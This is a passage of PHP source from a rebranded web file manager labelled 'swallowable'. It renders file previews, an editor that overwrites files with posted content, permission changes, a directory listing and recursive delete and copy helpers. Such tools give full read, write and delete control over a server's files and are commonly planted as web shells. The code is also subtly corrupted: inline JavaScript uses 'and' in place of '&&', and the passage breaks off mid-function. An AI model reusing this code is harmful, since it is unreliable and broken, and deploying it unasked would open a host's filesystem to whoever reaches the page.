            <p class="break-word">
                <?php $display_path = fm_get_display_path($file_path); ?>
                <strong><?php echo $display_path['label']; ?>:</strong> <?php echo $display_path['path']; ?><br>
                <strong>File size:</strong> <?php echo ($filesize_raw <= 1000) ? "$filesize_raw bytes" : $filesize; ?><br>
                <strong>MIME-type:</strong> <?php echo $mime_type ?><br>
                <?php
                // ZIP info
                if (($is_zip || $is_gzip) and $filenames !== false) {
                    $total_files = 0;
                    $total_comp = 0;
                    $total_uncomp = 0;
                    foreach ($filenames as $fn) {
                        if (!$fn['folder']) {
                            $total_files++;
                        }
                        $total_comp += $fn['compressed_size'];
                        $total_uncomp += $fn['filesize'];
                    }
                    ?>
                    <?php echo lng('Files in archive') ?>: <?php echo $total_files ?><br>
                    <?php echo lng('Total size') ?>: <?php echo fm_get_filesize($total_uncomp) ?><br>
                    <?php echo lng('Size in archive') ?>: <?php echo fm_get_filesize($total_comp) ?><br>
                    <?php echo lng('Compression') ?>: <?php echo round(($total_comp / max($total_uncomp, 1)) * 100) ?>%<br>
                    <?php
                }
                // Image info
                if ($is_image) {
                    $image_size = getimagesize($file_path);
                    echo '<strong>'.lng('Image size').':</strong> ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '<br>';
                }
                // Text info
                if ($is_text) {
                    $is_utf8 = fm_is_utf8($content);
                    if (function_exists('iconv')) {
                        if (!$is_utf8) {
                            $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content);
                        }
                    }
                    echo '<strong>'.lng('Charset').':</strong> ' . ($is_utf8 ? 'utf-8' : '8 bit') . '<br>';
                }
                ?>
            </p>
            <div class="d-flex align-items-center mb-3">
                <form method="post" class="d-inline ms-2" action="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($file) ?>">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0"><i class="fa fa-cloud-download"></i> <?php echo lng('Download') ?></button> &nbsp;
                </form>
                <b class="ms-2"><a href="<?php echo fanco($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng('Open') ?></a></b>
                <?php
                // ZIP actions
                if (!FM_READONLY and ($is_zip || $is_gzip) and $filenames !== false) {
                    $zip_name = pathinfo($file_path, PATHINFO_FILENAME);
                    ?>
                    <form method="post" class="d-inline ms-2">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
                        <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;"><i class="fa fa-check-circle"></i> <?php echo lng('UnZip') ?></button>
                    </form>&nbsp;
                    <form method="post" class="d-inline ms-2">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
                        <input type="hidden" name="tofolder" value="1">
                        <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;" title="UnZip to <?php echo fanco($zip_name) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZipToFolder') ?></button>
                    </form>&nbsp;
                    <?php
                }
                if ($is_text and !FM_READONLY) {
                    ?>
                    <b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>" class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng('Edit') ?>
                        </a></b> &nbsp;
                    <b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&env=ace"
                            class="edit-file"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?>
                        </a></b> &nbsp;
                <?php } ?>
                <b class="ms-2"><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a></b>
            </div>
            <?php
            if($is_onlineViewer) {
                if($online_viewer == 'google') {
                    echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=' . fanco($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                } else if($online_viewer == 'microsoft') {
                    echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=' . fanco($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                }
            } elseif ($is_zip) {
                // ZIP content
                if ($filenames !== false) {
                    echo '<code class="maxheight">';
                    foreach ($filenames as $fn) {
                        if ($fn['folder']) {
                            echo '<b>' . fanco($fn['name']) . '</b><br>';
                        } else {
                            echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>';
                        }
                    }
                    echo '</code>';
                } else {
                    echo '<p>'.lng('Error while fetching archive info').'</p>';
                }
            } elseif ($is_image) {
                // Image content
                if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) {
                    echo '<p><input type="checkbox" id="preview-img-zoomCheck"><label for="preview-img-zoomCheck"><img src="' . fanco($file_url) . '" alt="image" class="preview-img"></label></p>';
                }
            } elseif ($is_audio) {
                // Audio content
                echo '<p><audio src="' . fanco($file_url) . '" controls preload="metadata"></audio></p>';
            } elseif ($is_video) {
                // Video content
                echo '<div class="preview-video"><video src="' . fanco($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>';
            } elseif ($is_text) {
                if (FM_USE_HIGHLIGHTJS) {
                    // highlight
                    $hljs_classes = array(
                        'shtml' => 'xml',
                        'htaccess' => 'apache',
                        'phtml' => 'php',
                        'lock' => 'json',
                        'svg' => 'xml',
                    );
                    $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext;
                    if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) {
                        $hljs_class = 'nohighlight';
                    }
                    $content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fanco($content) . '</code></pre>';
                } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {
                    // php highlight
                    $content = highlight_string($content, true);
                } else {
                    $content = '<pre>' . fanco($content) . '</pre>';
                }
                echo $content;
            }
            ?>
        </div>
    </div>
    <?php
        fm_show_footer();
    exit;
}

// file editor
if (isset($_GET['edit']) and !FM_READONLY) {
    $file = $_GET['edit'];
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
    $editFile = ' : <i><b>'. $file. '</b></i>';
    header('X-XSS-Protection:0');
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    // normal editer
    $isNormalEditor = true;
    if (isset($_GET['env'])) {
        if ($_GET['env'] == "ace") {
            $isNormalEditor = false;
        }
    }

    // Save File
    if (isset($_POST['savedata'])) {
        $writedata = $_POST['savedata'];
        $fd = fopen($file_path, "w");
        @fwrite($fd, $writedata);
        fclose($fd);
        fm_set_msg(lng('File Saved Successfully'));
    }

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize = filesize($file_path);
    $is_text = false;
    $content = ''; // for text

    if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

    ?>
    <div class="path">
        <div class="row">
            <div class="col-xs-12 col-sm-5 col-lg-6 pt-1">
                <div class="btn-toolbar" role="toolbar">
                    <?php if (!$isNormalEditor) { ?>
                        <div class="btn-group js-ace-toolbar">
                            <button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="<?php echo lng('Fullscreen') ?>"><i class="fa fa-expand" title="<?php echo lng('Fullscreen') ?>"></i></button>
                            <button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="<?php echo lng('Search') ?>"><i class="fa fa-search" title="<?php echo lng('Search') ?>"></i></button>
                            <button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="<?php echo lng('Undo') ?>"><i class="fa fa-undo" title="<?php echo lng('Undo') ?>"></i></button>
                            <button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="<?php echo lng('Redo') ?>"><i class="fa fa-repeat" title="<?php echo lng('Redo') ?>"></i></button>
                            <button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="<?php echo lng('Word Wrap') ?>"><i class="fa fa-text-width" title="<?php echo lng('Word Wrap') ?>"></i></button>
                            <select id="js-ace-mode" data-type="mode" title="<?php echo lng('Select Document Type') ?>" class="btn-outline-secondary border-start-0 d-none d-md-block"><option>-- <?php echo lng('Select Mode') ?> --</option></select>
                            <select id="js-ace-theme" data-type="theme" title="<?php echo lng('Select Theme') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Theme') ?> --</option></select>
                            <select id="js-ace-fontSize" data-type="fontSize" title="<?php echo lng('Select Font Size') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Font Size') ?> --</option></select>
                        </div>
                    <?php } ?>
                </div>
            </div>
            <div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-end pt-1">
                <a title="<?php echo lng('Back') ?>" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng('Back') ?></a>
                <a title="<?php echo lng('BackUp') ?>" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php echo urlencode(trim(FM_PATH)) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-database"></i> <?php echo lng('BackUp') ?></a>
                <?php if ($is_text) { ?>
                    <?php if ($isNormalEditor) { ?>
                        <a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&amp;env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?></a>
                        <button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fanco($file_url) ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save
                        </button>
                    <?php } else { ?>
                        <a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng('NormalEditor') ?></a>
                        <button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fanco($file_url) ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php echo lng('Save') ?>
                        </button>
                    <?php } ?>
                <?php } ?>
            </div>
        </div>
        <?php
        if ($is_text and $isNormalEditor) {
            echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>';
            echo '<script>document.addEventListener("keydown", function(e) {if ((window.navigator.platform.match("Mac") ? e.metaKey : e.ctrlKey)  and e.keyCode == 83) { e.preventDefault();edit_save(this,"nrl");}}, false);</script>';
        } elseif ($is_text) {
            echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>';
        } else {
            fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error');
        }
        ?>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['chmod']) and !FM_READONLY and !FM_IS_WIN) {
    $file = $_GET['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file;
    $file_path = $path . '/' . $file;

    $mode = fileperms($path . '/' . $file);
    ?>
    <div class="path">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header">
                <?php echo lng('ChangePermissions') ?>
            </h6>
            <div class="card-body">
                <p class="card-text">
                    <?php $display_path = fm_get_display_path($file_path); ?>
                    <?php echo $display_path['label']; ?>: <?php echo $display_path['path']; ?><br>
                </p>
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
                    <input type="hidden" name="chmod" value="<?php echo fanco($file) ?>">

                    <table class="table compact-table <?php echo fm_get_theme(); ?>">
                        <tr>
                            <td></td>
                            <td><b><?php echo lng('Owner') ?></b></td>
                            <td><b><?php echo lng('Group') ?></b></td>
                            <td><b><?php echo lng('Other') ?></b></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Read') ?></b></td>
                            <td><label><input type="checkbox" name="ur" value="1"<?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gr" value="1"<?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="or" value="1"<?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Write') ?></b></td>
                            <td><label><input type="checkbox" name="uw" value="1"<?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gw" value="1"<?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ow" value="1"<?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Execute') ?></b></td>
                            <td><label><input type="checkbox" name="ux" value="1"<?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gx" value="1"<?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ox" value="1"<?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td>
                        </tr>
                    </table>

                    <p>
                       <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> 
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>&nbsp;
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Change') ?></button>
                    </p>
                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path

fm_show_message();

$num_files = count($files);
$num_folders = count($folders);
$all_files_size = 0;
$tableTheme = (FM_THEME == "dark") ? "text-white bg-dark table-dark" : "bg-white";
?>
<form action="" method="post" class="pt-3">
    <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
    <input type="hidden" name="group" value="1">
    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
    <div class="table-responsive">
        <table class="table table-bordered table-hover table-sm <?php echo $tableTheme; ?>" id="main-table">
            <thead class="thead-white">
            <tr>
                <?php if (!FM_READONLY): ?>
                    <th style="width:3%" class="custom-checkbox-header">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()">
                            <label class="custom-control-label" for="js-select-all-items"></label>
                        </div>
                    </th><?php endif; ?>
                <th><?php echo lng('Name') ?></th>
                <th><?php echo lng('Size') ?></th>
                <th><?php echo lng('Modified') ?></th>
                <?php if (!FM_IS_WIN and !$hide_Cols): ?>
                    <th><?php echo lng('Perms') ?></th>
                    <th><?php echo lng('Owner') ?></th><?php endif; ?>
                <th><?php echo lng('Actions') ?></th>
            </tr>
            </thead>
            <?php
            if ($parent !== false) {
                ?>
                <tr><?php if (!FM_READONLY): ?>
                    <td class="nosort"></td><?php endif; ?>
                    <td class="border-0" data-sort><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td>
                    <td class="border-0" data-order></td>
                    <td class="border-0" data-order></td>
                    <td class="border-0"></td>
                    <?php if (!FM_IS_WIN and !$hide_Cols) { ?>
                        <td class="border-0"></td>
                        <td class="border-0"></td>
                    <?php } ?>
                </tr>
                <?php
            }
            $uu = 3399;
            foreach ($folders as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'icon-link_folder' : 'fa fa-folder-o';
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
                $filesize_raw = "";
                $filesize = lng('Folder');
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                if (function_exists('posix_getpwuid') and function_exists('posix_getgrgid')) {
                    $owner = posix_getpwuid(fileowner($path . '/' . $f));
                    $group = posix_getgrgid(filegroup($path . '/' . $f));
                    if ($owner === false) {
                        $owner = array('name' => '?');
                    }
                    if ($group === false) {
                        $group = array('name' => '?');
                    }
                } else {
                    $owner = array('name' => '?');
                    $group = array('name' => '?');
                }
                ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="<?php echo $uu ?>" name="file[]" value="<?php echo fanco($f) ?>">
                            <label class="custom-control-label" for="<?php echo $uu ?>"></label>
                        </div>
                        </td><?php endif; ?>
                    <td data-sort=<?php echo fm_convert_win(fanco($f)) ?>>
                        <div class="filename"><a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fanco($f)) ?>
                            </a><?php echo($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?></div>
                    </td>
                    <td data-order="a-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);?>">
                        <?php echo $filesize; ?>
                    </td>
                    <td data-order="a-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN and !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td><?php echo $owner['name'] . ':' . $group['name'] ?></td>
                    <?php endif; ?>
                    <td class="inline-actions"><?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete')?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, '1028','<?php echo lng('Delete').' '.lng('Folder'); ?>','<?php echo urlencode($f) ?>', this.href);"> <i class="fa fa-trash-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('Rename')?>" href="#" onclick="rename('<?php echo fanco(addslashes(FM_PATH)) ?>', '<?php echo fanco(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('CopyTo')?>..." href="?p=&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink')?>" href="<?php echo fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a>
                    </td>
                </tr>
                <?php
                flush();
                $uu++;
            }
            $ik = 6070;
            foreach ($files as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f);
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
                $filesize_raw = fm_get_size($path . '/' . $f);
                $filesize = fm_get_filesize($filesize_raw);
                $filelink = '?p=' . urlencode(FM_PATH) . '&amp;view=' . urlencode($f);
                $all_files_size += $filesize_raw;
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                if (function_exists('posix_getpwuid') and function_exists('posix_getgrgid')) {
                    $owner = posix_getpwuid(fileowner($path . '/' . $f));
                    $group = posix_getgrgid(filegroup($path . '/' . $f));
                    if ($owner === false) {
                        $owner = array('name' => '?');
                    }
                    if ($group === false) {
                        $group = array('name' => '?');
                    }
                } else {
                    $owner = array('name' => '?');
                    $group = array('name' => '?');
                }
                ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="<?php echo $ik ?>" name="file[]" value="<?php echo fanco($f) ?>">
                            <label class="custom-control-label" for="<?php echo $ik ?>"></label>
                        </div>
                        </td><?php endif; ?>
                    <td data-sort=<?php echo fanco($f) ?>>
                        <div class="filename">
                        <?php
                           if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))): ?>
                                <?php $imagePreview = fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f); ?>
                                <a href="<?php echo $filelink ?>" data-preview-image="<?php echo $imagePreview ?>" title="<?php echo fanco($f) ?>">
                           <?php else: ?>
                                <a href="<?php echo $filelink ?>" title="<?php echo $f ?>">
                            <?php endif; ?>
                                    <i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fanco($f)) ?>
                                </a>
                                <?php echo($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?>
                        </div>
                    </td>
                    <td data-order="b-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>"><span title="<?php printf('%s bytes', $filesize_raw) ?>">
                        <?php echo $filesize; ?>
                        </span></td>
                    <td data-order="b-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN and !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a title="<?php echo 'Change Permissions' ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td><?php echo fanco($owner['name'] . ':' . $group['name']) ?></td>
                    <?php endif; ?>
                    <td class="inline-actions">
                        <?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1209, '<?php echo lng('Delete').' '.lng('File'); ?>','<?php echo urlencode($f); ?>', this.href);"> <i class="fa fa-trash-o"></i></a>
                            <a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fanco(addslashes(FM_PATH)) ?>', '<?php echo fanco(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o"></i></a>
                            <a title="<?php echo lng('CopyTo') ?>..."
                               href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink') ?>" href="<?php echo fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f) ?>" target="_blank"><i class="fa fa-link"></i></a>
                        <a title="<?php echo lng('Download') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1211, '<?php echo lng('Download'); ?>','<?php echo urlencode($f); ?>', this.href);"><i class="fa fa-download"></i></a>
                    </td>
                </tr>
                <?php
                flush();
                $ik++;
            }

            if (empty($folders) and empty($files)) { ?>
                <tfoot>
                    <tr><?php if (!FM_READONLY): ?>
                            <td></td><?php endif; ?>
                        <td colspan="<?php echo (!FM_IS_WIN and !$hide_Cols) ? '6' : '4' ?>"><em><?php echo lng('Folder is empty') ?></em></td>
                    </tr>
                </tfoot>
                <?php
            } else { ?>
                <tfoot>
                    <tr>
                        <td class="gray" colspan="<?php echo (!FM_IS_WIN and !$hide_Cols) ? (FM_READONLY ? '6' :'7') : (FM_READONLY ? '4' : '5') ?>">
                            <?php echo lng('FullSize').': <span class="badge text-bg-light border-radius-0">'.fm_get_filesize($all_files_size).'</span>' ?>
                            <?php echo lng('File').': <span class="badge text-bg-light border-radius-0">'.$num_files.'</span>' ?>
                            <?php echo lng('Folder').': <span class="badge text-bg-light border-radius-0">'.$num_folders.'</span>' ?>
                        </td>
                    </tr>
                </tfoot>
                <?php } ?>
        </table>
    </div>

    <div class="row">
        <?php if (!FM_READONLY): ?>
        <div class="col-xs-12 col-sm-9">
            <ul class="list-inline footer-action">
                <li class="list-inline-item"> <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng('SelectAll') ?> </a></li>
                <li class="list-inline-item"><a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng('UnSelectAll') ?> </a></li>
                <li class="list-inline-item"><a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng('InvertSelection') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('<?php echo lng('Delete selected files and folders?'); ?>')">
                    <a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng('Delete') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
                    <a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Zip') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
                    <a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Tar') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="copy" id="a-copy" value="Copy">
                    <a href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng('Copy') ?> </a></li>
            </ul>
        </div>
        <div class="col-3 d-none d-sm-block"><a href="." target="_blank" class="float-right text-muted">swallowable <?php echo VERSION; ?></a></div>
        <?php else: ?>
            <div class="col-12"><a href="." target="_blank" class="float-right text-muted">swallowable <?php echo VERSION; ?></a></div>
        <?php endif; ?>
    </div>
</form>

<?php
fm_show_footer();


function print_external($key) {
    global $external;

    if(!array_key_exists($key, $external)) {
        // throw new Exception('Key missing in external: ' . key);
        echo "<!-- EXTERNAL: MISSING KEY $key -->";
        return;
    }

    echo "$external[$key]";
}


function verifyToken($token) 
{
    if (hash_equals($_SESSION['token'], $token)) { 
        return true;
    }
    return false;
}

/**
 * Delete  file or folder (recursively)
 * @param string $path
 * @return bool
 */
function fm_rdelete($path)
{
    if (is_link($path)) {
        return unlink($path);
    } elseif (is_dir($path)) {
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (!fm_rdelete($path . '/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return ($ok) ? rmdir($path) : false;
    } elseif (is_file($path)) {
        return unlink($path);
    }
    return false;
}


function fm_rchmod($path, $filemode, $dirmode)
{
    if (is_dir($path)) {
        if (!chmod($path, $dirmode)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) {
                        return false;
                    }
                }
            }
        }
        return true;
    } elseif (is_link($path)) {
        return true;
    } elseif (is_file($path)) {
        return chmod($path, $filemode);
    }
    return false;
}


function fm_is_valid_ext($filename)
{
    $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false;

    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    return ($isFileAllowed) ? true : false;
}


function fm_rename($old, $new)
{
    $isFileAllowed = fm_is_valid_ext($new);

    if(!is_dir($old)) {
        if (!$isFileAllowed) return false;
    }

    return (!file_exists($new) and file_exists($old)) ? rename($old, $new) : null;
}


function fm_rcopy($path, $dest, $upd = true, $force = true)
{
    if (is_dir($path)) {
        if (!fm_mkdir($dest, $force)) {
            return false;
        }
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
